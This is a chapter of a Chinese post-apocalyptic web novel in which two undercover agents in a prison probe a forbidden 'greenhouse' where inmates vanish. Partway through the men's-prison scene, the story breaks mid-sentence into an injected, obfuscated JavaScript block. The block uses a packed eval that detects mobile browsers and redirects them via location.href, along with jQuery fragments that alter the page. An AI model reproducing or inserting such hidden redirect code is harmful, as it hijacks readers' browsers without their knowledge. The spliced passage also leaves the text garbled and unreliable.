32. 温室

作品:《异能局社畜日常[后末日]

    第一晚,相安无事。


    容贤躺在硬邦邦的床板上,听着周围此起彼伏的呼吸声,睁着眼睛看着天花板。


    天花板上本来应该有一道细细的裂缝,从墙角延伸到中间。


    六年了,物是人非。


    她侧过身,面向墙壁,想起一个小姑娘在墙上用指甲刻写,层层叠叠,有些已经模糊不清。最底下那一层,刻着一个日期,那是她离开的那一年。


    那时候她十一岁,刚刚失去父母,一个人躲在角落里,用手指在墙上划下这一天。她不知道自己为什么要刻,只是觉得应该留下点什么。


    后来爆炸发生了,她趁乱逃了出去,再也没回来。


    现在她回来了,以另一个身份。


    向开颜睡在她对面的下铺,呼吸平稳,像是真的睡着了。但容贤知道她没睡,她们这样的人,在新环境里不可能真正入睡。


    凌晨两点,走廊里传来脚步声。很轻,但很有规律,像是巡逻的狱警。脚步声经过门口,停了一秒,然后继续远去。


    容贤闭上眼睛,开始默数。


    数到三百的时候,她睁开眼,悄悄坐起来。


    牢房里很暗,只有门上的小窗透进来一点走廊的光。她看向向开颜的铺位,向开颜也睁着眼,正看着她。


    容贤用手指在床边敲了两下,很轻,几乎听不见,但足够向开颜看清。这是她们约定好的信号:我去探路,你掩护。


    向开颜几不可察地点了点头。


    容贤滑下床,赤脚踩在冰凉的水泥地上。她的囚服和别人的混在一起,挂在床头的铁杆上。


    她没有动那些衣服,只是从枕头下面摸出一根细细的铁丝,那是她在登记处趁人不注意顺的,一直藏在手心里。


    门是老式的机械锁,没有电子感应。这对她来说是好事。


    铁丝探进锁孔,轻轻转动。三秒后,“咔”的一声轻响,门开了一条缝。


    容贤闪身出去,把门虚掩上。


    走廊里空无一人。她贴着墙,往楼梯方向移动。每一步都很轻,像猫一样。


    四楼、三楼、二楼……


    她在二楼拐角处停下来,侧耳倾听。楼下有说话声,断断续续,听不清内容。她探出半个脑袋往下看,一楼的值班室里亮着灯,两个狱警正坐着喝茶聊天。


    容贤收回目光,转身往另一个方向走。


    女监的布局和她记忆中不太一样。


    有些墙被拆了,有些门换了位置,但主体结构没变。她绕到东侧的尽头,那里有一扇铁门,门上挂着“闲人免入”的牌子。


    她记得这扇门,六年前,这里通向后院。现在,牌子换了。


    容贤蹲下来,仔细查看门缝。门缝下面有细微的磨损痕迹,说明这扇门经常被打开。门框上有一道浅浅的划痕,像是被什么东西拖拽过。


    她凑近闻了闻。


    那股气味还在,甜腥、冰冷、带着金属的冷意。很淡,但逃不过她的鼻子。


    异花。


    这里应该就是去温室的必经之路。


    她正要再靠近一些,忽然听到身后传来脚步声。


    容贤瞬间贴到墙角的阴影里,屏住呼吸。


    脚步声越来越近,然后停在她身后两米的地方。


    “出来吧。”一个女人的声音,平静,带着点笑意,“我知道你在那儿。”


    容贤没有动。


    那女人又说:“别藏了,小姑娘。你身上那股‘外面’的味道,隔着一层楼我都能闻到。”


    容贤并不相信她说的话,迟迟不动。


    “你若是再不出来,我这喊一嗓子,你猜会是什么后果?”


    容贤不得不从阴影里走出来。


    月光从走廊尽头的窗户照进来,落在她们之间。那女人四十多岁,身材瘦削,五官普通,但眼神很亮,像是能看透人的心思。


    是烟烟姐。


    “新来的那个小偷。”烟烟姐上下扫视,“胆子不小,第一晚就敢出来乱逛。”


    容贤没说话。


    烟烟姐往前走了一步,靠近她,忽然压低声音:“你不是小偷。”


    容贤蓄力,不动声色,“什么意思?”


    “你的手。”烟烟姐指了指她的手,“小偷的手,不是这样的。你手上没有茧,皮肤很细,说明你不常干活。但你站姿很稳,呼吸很轻,像是练过的。”


    她说对了一半,容贤等她说下去。


    烟烟姐笑了笑,那笑容里有些复杂的意味:“你大可放心,今夜的事我不会与他人说,在这地方,多一事不如少一事,我懂。”她顿了顿,凑得更近,“但你要记住,这里不是你撒野的地方。有些人,有些事,碰了会死。”


    她说完,就要转身走。


    “等等。”


    容贤喊住她,“你到底是谁?”


    “还是那句话,知道的越多,死的越快。”烟烟姐脚步声渐渐远去。


    容贤站在原地,看着她的背影消失在黑暗里。


    深更半夜出没,这个烟烟姐的目的会是什么呢?她不认为她只是为了警告自己特意出来。


    还是太松懈了。


    容贤有些后悔自己没及时躲开。


    第二天一早,喇叭响了。


    所有人起床、洗漱、吃饭、然后去“工作区”。


    容贤和向开颜被分到了同一个工作小组,监狱后方的处理区。她们的工作是把从源河防线运回来的废料进行分类,挑出还能用的部分,剩下的送进粉碎机。


    工作枯燥,重复,但容贤很喜欢。


    因为这里离温室最近。


    她一边干活,一边观察周围的环境。处理区在监狱的后半部分,和温室只隔着一道高墙。墙上开了几扇小窗,但都关着,看不见里面。


    偶尔有穿着白色防护服的人从那道门进出,手里拿着箱子,行色匆匆。


    “新来的。”


    一个声音在耳边响起。容贤转头,看到一个三十多岁的女人不知什么时候站在了她身边。这女人长得很普通,但眼神很活,滴溜溜地转着。


    “我叫阿莲。”她自来熟地凑过来,“你叫白容对吧?昨晚的事,我听说了。”


    容贤看着她,没说话。


    阿莲也不在意,压低声音:“烟烟姐让我给你带句话,别打那扇门的主意。那是禁区,进去了就出不来。”


    容贤心里一动,面上依旧平静:“什么禁区?我不知道,你大概找错人了。”


    “和我装傻是不,找的就是你。”阿莲左右看看,凑得更近:“那边,是温室。里面种的东西,你别问,也别打听。每个月都有人被带进去,出来的时候……”她顿了顿,没往下说。


    “出来的时候怎么了?”容贤明知故问。


    阿莲摇头:“没有‘出来的时候’。进去的人,没回来过。”


    容贤知道她没在骗她,出自于善意的提醒?


    她不知道。


    她问,“为什么告诉我这些?”


    阿莲笑了笑:“烟烟姐说你这人看着顺眼,让我关照你一下。”她拍拍容贤的胳膊,“好好干活,别惹事。在这地方,活着比什么都强。”


    她说完,转身走了。


    容贤低下头,继续干活。但脑子里一直在转。


    六年前,她在这里的时候,没有烟烟姐,也没有这么忌讳消失。


    当时每个进入监狱的人都会被告知自己的使命。


    罪大恶极的罪犯用自己的身躯填补源河的裂缝,成功赎罪。


    这是双方都喜闻乐见的。


    看来这六年,变了很多事。


    中午吃饭的时候,容贤又看到了烟烟姐。


    她坐在食堂角落,身边围着几个女人,正在低声说着什么。其中一个,容贤认出是昨晚在值班室喝茶的狱警。


    狱警和囚犯坐在一起吃饭?


    容贤多看了两眼,收回目光。


    向开颜端着餐盘坐过来,压低声音:“看到了吗?”


    容贤点头。


    “那个烟烟姐不简单。”向开颜夹了一筷子菜,装作若无其事的样子,“刚才我问了几个老人,都说她是女监的‘话事人’。狱警都要给她几分面子。”


    “她什么罪名?”


    “故意伤害。”向开颜说,“谁也不知道她什么时候来的,等大家注意到她,她就已经成现在这样了。”


    容贤想起昨晚烟烟姐说的话,“有些人,有些事,碰了会死。”


    她在警告自己。


    也是在试探自己。


    “下午继续观察。”容贤说,“我需要确认一件事。”


    她们不能坐一起太久,很快就分开坐下。


    下午,容贤被调到了另一个工作小组,清洗区。


    这里离温室更近,只有一墙之隔。她能听到墙那边传来的声音,机器的嗡鸣,人的说话声,偶尔还有尖锐的、像是金属摩擦的刺响。


    她一边清洗废料,一边竖起耳朵听。


    “……这批不行,活性太低了……”


    “……换一批,三号温室的……”


    “……吴局长那边催得紧,快点……”


    容贤的手顿了顿,又继续洗。


    吴局长。吴家的人。


    她想起赵随石说过的话,源河监狱背后站的是吴家,吴家如今的话事人是吴霞,大植物学家,继承上代人的对异花的技术知识,也是恢复温室的主导者。


    她在中心区就听说过吴霞的名字。那是一个很低调的人,很少公开露面,但在学术界和政界都有很深的影响力。


    还真是吴家啊……


    容贤没有继续想下去。


    她只需要证据。


    *


    与此同时,男监那边。


    赵随石也在观察。


    他坐在工作区的角落里,手里拿着一把螺丝刀,正在拆卸一台报废的机器。这活儿枯燥,倒是挺自由,他慢了快了都没人管他,因为所有人都知道他是个“重刑犯”,不好惹。


    他的目光不时扫过远处的一扇门。


    那扇门通向监狱的深处。每隔一段时间,就会有几个穿着白色防护服的人从里面出来,或者进去。他们推着车,车上装着箱子,箱子上贴着标签。


    赵随石看不清标


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308606|195618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    签上的字,但他能闻到那股气味。


    异花。


    “看什么呢?”


    一个声音在耳边响起。赵随石收回目光,看向来人,是黑哥。


    黑哥蹲在他旁边,也拿起一把螺丝刀,装模作样地拆卸着什么。他压低声音:“那边的门,你别看。”


    赵随石没说话。


    黑哥继续说:“那是禁区。进去的人,没回来过。”他顿了顿,看向赵随石,“你是聪明人,应该知道什么事能碰,什么事不能碰。”


    赵随石点了点头:“多谢提醒。”


    黑哥也没想到他反应这么平淡,“得勒,是我多管闲事。”他站起身,拍拍赵随石的肩膀,“以后有什么事,可以来找我。”


    赵随石目光幽暗,心想这个黑哥知道的不少。


    也不知道女监那边的烟烟姐和他有什么关系,应该是同一种人,都是监狱里的“话事人”。


    他们和狱警有某种默契,管理着犯人的秩序。


    如果能得到他们的信任,大概事半功倍,只是短时间内想获取信任……


    晚上收工后,赵随石被黑哥叫去“喝茶”。


    说是喝茶,其实就是在黑哥的牢房里坐着聊天。黑哥的牢房比普通牢房大一些,有张小桌子,桌上居然真的摆着一壶茶。


    “坐。”黑哥指了指对面的位置。


    赵随石坐下。


    黑哥给他倒了一杯茶,自己也倒了一杯,慢悠悠地喝了一口,才说:“你知道我为什么叫你过来吗?”


    赵随石摇头。


    黑哥冷不丁的说:“我看你,不像是普通的强盗。”


    赵随石心里一动,面上依旧平静:“什么意思?”


    “强盗我见多了。”黑哥说,“他们不管是凶神恶煞,还是贼眉鼠眼,都给人一种恶心感。可你不一样,我从你身上感受不到……”他想了想,找了个词,“腐烂的臭味,你很有规矩,你当过兵。”


    赵随石沉默了几秒,说:“我确实当过。”


    黑哥挑眉:“哦?”


    “边境巡逻队。”赵随石说了一个半真半假的背景,“后来犯了事,被开了。”


    黑哥点点头,似乎对这个解释很满意:“难怪。”他又喝了一口茶,“那你应该知道,这地方和别处不一样。”


    赵随石看着他,等他继续说。


    黑哥压低声音:“这里关的人,分两种。一种是真正犯了罪的,一种是……”他顿了顿,“被‘选上’的。”


    “选上?”


    “对。”黑哥说,“每个月都会有人被带走,说是‘表现好,可以减刑’。但其实,他们去了哪儿,没人知道。”他指了指后方的方向,“那边,温室。进去的人,没出来过。”


    赵随石沉默了一会儿,问:“你见过被带走的人吗?”


    黑哥摇头:“没有。但他们走之前,都会来和我告别。”他苦笑了一下,“你知道他们说什么吗?他们说,‘黑哥,我可能要走了,你保重。’然后他们就走了,再也没回来。”


    赵随石看着他,想从他脸上看出真假。但黑哥的表情很复杂,有恐惧,有无力,也有一种深藏的痛苦。


    “你在这里待了多久?”赵随石问。


    “六年。”黑哥说,“六年里,我见过几十个人被带走。有的我认识,有的我不认识。但每一个,都再也没回来。”


    他抬起头,看向赵随石:“我不知道他们在那边经历了什么,但我知道,那不是减刑。”


    赵随石沉默。


    黑哥忽然凑近他,压低声音:“如果你有机会出去,帮我带句话。”


    不知道他这句话和多少人说过,赵随石心里微动,问,“什么话?”


    “告诉外面的人。”黑哥一字一句地说,“源河监狱,不是监狱。是工厂。”


    一个不算秘密的秘密。赵随石看着他,点了点头。


    *


    与此同时,女监那边。


    容贤躺在床板上,睁着眼睛看着天花板。


    今晚没有月光,屋里很暗。但她不需要光,她只需要想。


    阿莲的话,烟烟姐的警告,白天的观察,还有那些隐约听到的对话……所有线索拼在一起,指向同一个方向。


    本该填补缺口的犯人同时也在温室里被用来进行某种实验。


    实验品吗。


    她闭上眼睛,努力回忆六年前的事。


    那时候她只有十一岁,很多事都不懂。但她记得,父母偶尔会提起“后面”的事,说那里有“重要的东西”,说“不能让那些人发现”。


    那时候她不懂“那些人”是谁。


    现在她懂了。


    是吴家的人。


    之前她被困在局中,被人推着往前走,不知吴家,不知源河监狱诞生的意义,也不知父母背负着什么,这一次她回来了,就不会轻易离开了。


    小小的窗外,她看到月亮从云层后露出来。


    她看不到那月光落在了高墙后面的温室上,那巨大的棚顶在月光下泛着淡淡的微光,像波光粼粼的湖泊,那宁静的湖下十分深冷,将月光收拢,直至吞没。